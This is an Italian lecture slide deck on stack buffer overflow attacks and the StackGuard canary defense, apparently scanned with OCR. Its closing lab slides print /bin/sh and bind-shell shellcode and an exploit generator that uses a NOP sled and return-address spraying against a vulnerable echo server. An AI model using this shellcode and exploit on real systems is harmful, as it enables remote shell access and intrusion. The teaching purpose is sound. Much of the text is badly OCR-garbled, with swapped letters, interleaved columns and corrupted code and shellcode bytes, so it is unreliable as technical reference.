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@ Introduzione

v 11 Buffer Overflow & una belle forme Pil comuni bi vulneraBilitd
Di sistemi.

v p omina I'area relativa alla Penetrazione in reti rem ote.

v StackGuard - sviluP P ato nei laBoratori b ell'v niversita
pell'o recon. SiPreficGe Pirendere immune il sistema ba questo
tPo bi attacco.

Buffer Overflow

@ Gestione del Buffer

= Buffer - Blocco contiGuo bi memoria Che contiene Pill istanze bello
stesso tiPo bibato.

= Overflow - riemPire oltre il limite un Bufer.

= Come e organizzata la memoria di un processo?

- fissata

regione - asolalettira
testo

variabili statiche e dati - cobice bel ProGramma

regione

(inizializzat e non) ot

stack
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@ Cos’é uno Stack

+ TiPODibato astratto Che Gobe bella proprietd LIFO.

« 0 Perazioni PrinCip ali - push e pop.

« APPare come un BlocCO Pi memoOria CONtGuO contenente b ei b at.
« Stack pointer (sP) -reGistro che Punta alla Cima bello stack.

+LaBase & un indiriz20 fisso.

LinGUaGGi Pi ProGramm azione = COstrutio Pi procedura o funzione.

* Implementata ad hoc con il supporto di uno stack.
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@ Cos’e uno Stack (2)

instruction

stack frame pointer (iP)

local varial
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@ Un esempio: la regione dello Stack

void function(int a, int b, int ¢){ nrcallimedacinstructioni pointere:

char bufferl[245]; -;z{m‘r'%ﬁg“ m’_’f&"l’nﬁﬁ-fz"z;'o"&" e

char buffer2[512];

3 pushl $3
void main() { -
function(1,2,3) ; el 32
3 «call unction
memoria memoria
bassa alta
buffel Fer1 SFP | RET a c
cima dello_s(_ack 'ondo_d-ello stack

SFP - saved frame pointer. & il vecchio frame pointer salvato quanb o viene avviata la funzione.
RET - i

ri220 b ritomo.
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@ Cos’é un attacco di Buffer Overflow

FFFF
L’attaccante fornisce una stringa di grosse fe

dimensioni ad un programma che non effettua
controlli sulla taglia dei propri input.

LLa string: ive I'indi di ritorno i',;':f:
eiiniettaiil codice.

Indirizzo di Stack
ritorno cresce

La funzione ritorna “saltando” al
codice iniettato.
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@ Come attaccare con Buffer overflow

beve solo rovare codice vulnerabile al'intemo bi
ProGrammi resib ent sul sistema.

@ Codice vulnerabile

qQualsiasi operazione effettiata su biun array che non effettia controlli sulla
bimensione.

@k sistono COOK-D0OOKS va cui estrarre il cobice necessario.
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@ Buffer Overflow: un problema attuale

» Granbe risonanza nel 1988 boro il Wormbi Internet
(Morris).

> NOn C'e stato nessun seGno Pi miGlioram ento, in Quanto:

- causato ba funzioni “pericolose” b el C Present nelle liBrerie
stanban (strcpy() . strcat() , etc).

- solo programmazione accurata Puo limitare questa
vuineraBilita.

- nuove patch introbucono nuove vuineraBilitd.

- un debugging accurato potreBBe non eliminare il ProBlema.

Buffer Overflow

@ Vulnerabilita ed attacchi

+LO SCOPO & bi sovvertire la unzione bi un programma privilegiato.

i .

« P erottenere questo risultato I'attaccante beve:

1. Prebisporre il cobice abatto, ba
esecuire nello sPazio

b'inbirizzamento b el ProGramma.
Stringa Stack frame
2. Permetiere al ProGramma Di saltare  cresce Stack
& Indirizzo di acl
a quel cobice, Con Param etri esats, o cresce

caricati nei reGistri e nella memoria

Variabili local
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@ Come utilizzare codice d’attacco

p ue mobi Perrealizzare un buffer overflow:
< Iniettare il codice:
+ L'attaccante fomisCe una strinGa in inPut
-1l ProGramma 1o carica in un Buffer.

< L'attaccante sta usanboiBuffers bel ProGramma vitima per
mem orizzarvi il cobice b'attacco.

Ry
&

%+ Il codice e gia li:
<1l copice abatto & Presente nello sPazio biinbirizzam ento.
« L'attaccante ha BisoGno bi Param etrizzare il Cobice.

< L'attaccante fa in mobP O Che il ProGramma salt ab esso.
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@ Modifica del flusso

Corrompere i puntatori = indirizzo di ritorno
< Record d'Attivazione:
- corrompere l'indirizzo bi ritomo nel recor> bi atkvazione
- L'ataccante Causa il salto b el ProGramma al Cobice b'atacco.
« stack smashing attack (attacco Che fracassa 10 stack).
< Puntatori a Funzione:.
- POssono essere allocati ovunaue (stack, heap, area dati).

< L'attaccante necessita Pi trovare un Buffer abijacente al
Puntatore a funzione.

+Manba queste aree in overflow Per cCamBiare il Puntatore.
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@ Tecnica tipica d’attacco

comBinazione bi:

M tecnica d'iniezione.

4 corruzione del record d‘attivazione.

Nota:

« Iniezione e Corruzione non avvenGono in un‘unica azione.

- L'attaccante PuO iniettare il CobiCe OPPUre far traBoccare un Buffer

@ Difese da Buffer Overflow

Quattro approcci di base:

v Il metodo di forza bruta ovvero scrivere codice sicuro.

v Rendere I'area di memoria, b estinata a contenere le
variaBili, non eseguibile.

v Controllare la dimensione degli array ab_oGni accesso.

v Verificare l'integrita dei puntatori Prima bi

bifferente Per corrompere il puntatore al codi b ereferenziarii.
+ Se il copice & Gia resibente = L'attaccante ha BisoGno bi
Param etrizzario.
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@ Scrivere codice sicuro @ Buffer non eseguibili

grep.

Programmazione sicura

« Principio del minor privilegio possibile.
- Scrivere codice semplice.

« Non fidarsi di nessuno.

Vulnerabilita al buffer overflow possono essere
non facilmente individuabili
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Problemi

#Linea bi ProGettazione b ei sistemi sUi veCChi comPuter

#1 Pill recent sistemi UNIX e MS Windows, dipendono balla PossiBilitd bi inserire cobice
pinamico nel seGm ento b at bei ProGrammi, P er ottim izzare le Prestazioni.

# Alcuni sistem i b evono sacrificare sostanziali com P atBilita b ei ProGrammi Gid in Uso.
Q patch per Linux e Solaris implementano questo criterio.
Q pochi problemi di compatibilita:
= nessun programma "normale” ha del codice eseguibile nello stack.
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@ Controllo della dimensione degli array

@ Verifica dell’integrita dei puntatori

< Non é possibile corrompere i dati adiacenti nello stack.

< Elimina K ite le p ibilita di reali e tali attacchi.

« L'approccio diretto é quello di testare tutti i riferimenti agli array.
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Attacchi mirati alla modifica di componenti del programma,
&, che non siano i puntatori, andranno comunque a segno.

sviluppato in 3 modi distinti:

» Snarskii - versione personalizzata di libc per FreeBSD.
» Progetto StackGuard.
» PointGuard - in fase di sviluppo.
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@. StackGuard

Realizzato utilizzando una tecnica di compilazione che assicura
l'integrita dell'area di memoria contenente l'indirizzo di ritorno del
record d'attivazione della funzione.

FFFF
iR

1
a 1
Stringa) Stack frame
cresce /
Indirizzodi |/ | Stack
ritorno’ cresce
canarino
variabili local

buffer
0000
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@. StackGuard ( 2)

v StackGuard & una piccola patchba

FFFF
aPPlicare a gcc.
> it del codice specifit R

\
v'1l cobice aggiuntivo Piazza una Stringa o II
canary word vicino all'indirizzo Pi cresce

Indirizzodi |/ | Stack
ritomo nello stack. gl Pl

canarino

v 1l cobice verifica che la canary word
sia intatta.
» dopo salta all'indirizzo di ritorno!

variabili local

0000
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@. StackGuard ( 3)

Problema: v n attaccante leGGe la canary word e la incaPsula nella
strinGa bi attacco.

PUd sovrascrivere I'indirizz0 Pi HOMO senza comP rom ettere
canary wor .

Soluzione:

StackGuard utilizza tre metobi Per Prevenire Questo attacco:
# Terminator Canary

& Random Canary

& Xor Random Canary

0
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@. Terminator Canary

canary word costtuita ba comuni simBoli i terminazione utlizzat balle
librerie standard b el C:

Qo0-nvLL

O CR-camaGe Retum
Q LF-Line Feep

Q -1-Enp ofFile

Nota che:

# un malintenzionato non pPotreBBe usare le funzioni stanbar> Per leGGere
Quest simBoli eb incaPsularli in una strinGa.

@ Le funzioni Pi COPia si fermereBBero alla Prima occorrenza Pi Uno bi
qQuesti caratteri.
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@. Random Canary

canary word di 32 bit scelto al run-time.

@ SeGreto facile ba usare biffiCile ba inbovinare.
@N on & mai rivelata.

@camBia ab OGni riavvio bel ProGramma.
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@. Xor Random Canary

M eccanism O introb otto b alla versione 1.21 bi StackGuard.

»> canary word consiste biun vettore bi 128 Bit casuali (quattro
word scelte al run-time)

» XOR (4 wor>, retum abbress).

canary word leGata all'inbirizzo Pi ritomo
bella funzione atkva.
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@

Resistenza alle intrusioni

Programma Risultato senza
pip 3.3.7n RoOtshell
Eim 2.4 PL25 Rootshell
Per5.003 Rootshell
SamBa RoOOtshell
Superprose Rootshell
umount2.5kAiBC 5.3.12 R oot shell
wwwcountv2.3 HHPD shell
26v2.7 RoOtshell
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Risultato con
StackGuard

P roGramm a Bloccato
P roGramm a Bloccato

P roGramm a Bloccato
con uscita irecolare
P roGramm a Bloccato
P roGramm a Bloccato
con uscita ireGolare
P roGramm a Bloccato
P roGramm a Bloccato

P roGramm a Bloccato

@. Risultati sperimentali

@ sperimentalm ente StackGuard realizza protezione effettiva contro
atacchi bi stack smashing.

AP reserva caratteristiche bi compatibilita e utilizzo » el sistem a
Protetio.

QAP roceto Immunix: compilazione bi un‘intera bistriBuzione bi Linux
(Red Hat 5.1) con StackGuard.

@ microbenchmark hanno evibenziato sostanziale inCremento nel
cost0 bi OGhi sinGola Chiam ata a funzione.

@ macrobenchmark hanno evibenziato un overhead totale
trascuraBile.
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@

Risultati sperimentali (2)

P eso bi StackGuard sul we server Apache

@. Considerazioni finali

<+ StackGuard opera in mobo bel tto trasparente
allutente.

StackGuard # di client (Somenioni) inte‘nza medi)a Tm'ough;}ut )(in
ond i ondi. Mbit .
famat® iy < Sul sito bi Immunix si fa riferim ento ab una versione 2.0
& > = o e pi StackGuard, tt£0GGi risulta irrep eriBile.
i o ' 5250 o0 < Le patch pisp oniBili sono relative a versioni 0Bsolete b el
No 30 47.2 0. 6030 6. 46 COm Pi‘awre gcc B
Si 2 34.92 0. 0570 5.53
si e 53.57 0.2949 641 < L’entusiasm 0 iniziale nei confronti Pi Questo ProGetto &
Si 30 50. 89 0.5612 6.48 anb a.‘n scem anh o.
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@. Laboratorio @. Exploit & Shellcode
v L'exploit sirutta una vulneraBilitd Presente in un sistema.
v 1l nostro exploit Genera la strinGa Che sovrascrive I'inbirizzo bi
ritomo eb esecue il cobice bi attacco.
v'una shellcode & un array bi Ccaratieri che contiene il cobice
eseGuiBile ba iniettare.
Esempio
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\=x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\X "
"\xEF\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
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@ Realizzare un exploit

v L0 stack inizia P er 0Gni ProGram ma allo stesso inbirizzo.
v/ sapenbo bove inizia 10 stack si Puod Provare ab indovinare b ove
si trovi il Bufer.
v/ P arametri b el ProGramma:
+ Pimensione biBuffer.
- offsetballo stack Pointer.
vinserire istruzioni NOP aum entano la ProBaBilita Pi riusCita.

memoria memoria
bassa alta

NNNNNNNSSSSE

cima dello stack fondo dello stack
31
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@ Realizzare un exploit ( 2)

La nostra shellcode:
char shellcop e[] =
"\xeB\x72" I* jmp callz */
I* socket() */

\X08 \XBD \x4 €\X08 \xB w
80"
I* bind()*/
"\X43\XC6 \x4 6 \x1 0\X1 0\x6 6 \x89 \x5€\x14\x8 8 \x4 6 \x08 \x2 9 \XCO\X8 9 \XC2 \x8 9 \x4 6 \x1 8 \XB O\x9 0\x6 6 \x
89\X46\X1 6\XBD \x4 \X14\X8 9 \X# & \XOC\X8D \X4 & \X08 \XB 0\X6.6 \XCD \XxB 0"
I* listen() */
"\x89 \X5€\x0C\x4 3\x4 3 \xB 0\x6 6 \xCP \x8 0"
I* accept() */
"\XB 9 \X5 6 \XOC\X8 9 \x5 6 \x1 0\xB 0\X6 6 \x4 3 \xCh \x8 0"
I* dup2(s, 0); dup2(s, 1); dup2(s, 2); */

3 1\xch 1\xCh \x8 0"
I* execve() */
"\x8 8 \X56 \x07 \X8 9 \X7 6 \XOC\X8 7 \x{3 \x8 P \x4 B \xOC\xB 0\X0B \xCh \x8 0"
I* callz: */

"\Xe 8 \X8 9 \XE\XFF\XFE/B in /Sh";
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@ Il nostro exploit

if (! (buff =malloc (bsize)))
printf("Can't allocate memory.\n");

#include <stdlib.h>
#define DEFAULT_OFFSET 0

#define DEFAULT BUFFER_SIZE 512 exit(0);

#define NOP 0x90 ]

char shellcode(] = ... addr =get_sp() - offset;
ptr =buff;

unsigned long get_sp(void) { addr_ptr =(long *) ptr;

@ La nostra Demo

APPlicazione client/server che utilizza i socket i Berkley.

Qv tlizziam 0 una shellcode che crea un socket bi ascolto sulla
Porta 36864 e avvia una shell, rebiGenbo stanbarb input, output

__asm__("movl %esp,%eax"); for (i =0; i < bsize; i+=4)
} *(addr_ptr++) —addr; eb error sul socket stesso.
for (i =0; i < bsize/2; i++) omy oy .
void Tlnniaee ey | Wb fferipveri Loy Qv tlizziamo un ProGramma Che si connette al socket e ottiene
char *buff, *ptr; ptr =buff + ((bsize/2) - una shell remota sulla macchina vitim a.
long *addr_ptr, addr; (strlen(shellcode)/2));
int offset:DEFAULTioFFSET, for(i =0; i <
bsize=DEFAULT_BUFFER_SIZE; strlen(shellcode); i++)
ot i; * (ptr++) =shellcode[il; o0 tteniam o I'accesso all'lhost remoto con i Permessi
if (argc > 1) buff[bsize - 1] ='\0"';
bsize =atoi(argv(1]); memcpy (buff, "EGG=",4) ; Che aveva il server.
if (arge > 2) putenv (buff) ;
offset =atoi(argv[2]); system("/bin/bash");
}
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@ Il server @ Demo
« Il serverrisPonbe con un echo bi ritomo.
+La vulneraBilitd bel server localizzata nella funzione
leggi():
void leggi (char *buff,int connfd) {
char vuln[512];
int n,len,offset=0,tot=0;
while (n=read (connfd, &buff [tot],MAXLINE) >0) {
tot+=n;
write(connfd, vuln, strlen(vuln)+1l);
}
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